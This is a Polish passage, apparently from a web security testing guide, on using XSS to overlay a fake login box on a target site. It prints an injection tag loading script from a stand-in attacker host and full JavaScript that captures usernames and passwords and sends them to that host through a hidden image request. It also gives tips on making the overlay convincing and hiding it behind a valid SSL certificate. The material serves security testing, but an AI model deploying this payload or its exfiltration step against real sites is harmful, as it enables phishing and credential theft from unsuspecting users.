Problem
Drugim typem testowanego ataku, w którym wykorzystano XSS, było tworzenie nakładek na docelowy serwis WWW w taki sposób, aby użytkownicy będący ofiarami wierzyli, że przeglądają serwis, który chcieli oglądać, podczas gdy w rzeczywistości przeglądają witrynę kontrolowaną przez napastnika. Atak ten wykorzystuje zaufanie ofiary przeglądającej witrynę do adresu wyświetlającego się w pasku adresu w przeglądarce.
Rozwiązanie
Tworzenie złożonych ataków jest możliwe, jeśli skrypty znajdują się w oddzielnym serwisie (napastnik.example.org), a następnie są one dołączane do docelowego serwisu poprzez wstrzyknięcie kodu podobnego do poniższego:
Wstawianie pliku JavaScript z innego serwera
<script src="http://napastnik.example.org/nakladka_logowania.js"></script>
W celu testowania utworzono skrypt pokazany poniżej i udostępnić go pod adresem http://napastnik. example.org/nakladka_logowania.js (lub pod innym adresem, gdzie znajduje się nasz serwis ataku).
Kod JavaScript umożliwiający stworzenie nakładki
var LoginBox;
function showLoginBox() {
var oBody = document.getElementsByTagName("body").item(0);
LoginBox = document.createElement("div");
LoginBox.setAttribute('id', 'login_box');
LoginBox.style.width = 400;
LoginBox.style.height = 200;
LoginBox.style.border='red solid 10px';
LoginBox.style.top = 0;
LoginBox.style.left = 0;
LoginBox.style.position = "absolute";
LoginBox.style.zindex = "100";
LoginBox.style.backgroundColor = "#FFFFFF";
LoginBox.style.display = "block";
LoginBox.innerHTML =
'<div><p>Zaloguj się</p>' +
'<form action="#">' +
'Nazwa użytkownika:<input name="username" type="text"/><br/>' +
'Hasło:<input name="password" type="password"/><br/>' +
'<input type="button" onclick="submit_form(this)" value="Zaloguj"/>' +
'</form>' +
'</div>';
oBody.appendChild(LoginBox);
}
function submit_form(f) {
LoginBox.innerHTML=
'<img src="http://napastnik.example.org/credentials_log?username=' + encodeURI(f.form.elements['username'].value) + '&password=' + encodeURI(f.form.elements['password'].value) + '" width="0" height="0"/>'; LoginBox.style.display = "none";
}
showLoginBox();
DYSKUSJA
Plik nakladka_logowania.js może być dowolnie skomplikowany. Kod przedstawiony powyżej to jeden z bloków budulcowych tworzenia przekonującego exploita. Aby skorzystać z exploita w praktyce, należałoby dodać znacznie więcej kodu JavaScript niezbędnego do wykonywania innych operacji, na przykład zmiany rozmiaru i ustawienia pozycji nakładki w zależności od rozmiaru okna przeglądarki.
Pokazany wyżej kod JavaScript wyświetla okno logowania w momencie, kiedy użytkownik po raz pierwszy kliknie łącze dostarczone przez napastnika. Okno logowania utworzone przez ten skrypt być może nie jest zbyt przekonujące, ale po dostosowaniu czcionek, kolorów i innych szczegółów mających na celu przybliżenie go do stylu docelowej aplikacji może stać się wiarygodne. Celem napastnika jest przekonanie użytkownika, że widzi prawdziwą stronę logowania. Fakt, że użytkownik widzi w pasku adresu ten adres, którego oczekiwał, pracuje na korzyść napastnika. Jeśli użytkownik wprowadzi swoje dane identyfikacyjne w oknie logowania, zostaną one przesłane pod adres napastnik.example.org.
Zabezpieczanie kodu JavaScript za pomocą SSL
Jeśli witryna jest zabezpieczona za pomocą SSL, to plik z kodem JavaScript powinien znajdować się na serwerze posiadającym prawidłowy certyfikat SSL podpisany przez zaufany urząd certyfikacji (ang. Certification Authority — CA). W przeciwnym razie przeglądarka ofiary ostrzeże użytkownika, że część treści strony jest serwowana za pośrednictwem HTTPS, a część przez HTTP. Jeśli plik jest umieszczony na serwerze posiadającym prawidłowy certyfikat SSL, to przeglądarka ofiary wyświetla typową ikonę w postaci kłódki. To jeszcze bardziej przekonuje przeciętnego użytkownika, że jest bezpieczny i że przegląda tę stronę, którą miał zamiar przeglądać.
Do rejestrowania danych uwierzytelniania można stworzyć skrypt http://napastnik.example. org/daneuwierzytelniania_log . W przypadku wielu typów serwerów WWW, na przykład serwera Apache, nie jest to jednak konieczne. Jeśli plik daneuwierzytelniania_log istnieje, żądany adres URL (zawierający dane uwierzytelniania) zostanie zarejestrowany w standardowym dzienniku zdarzeń serwera Apache.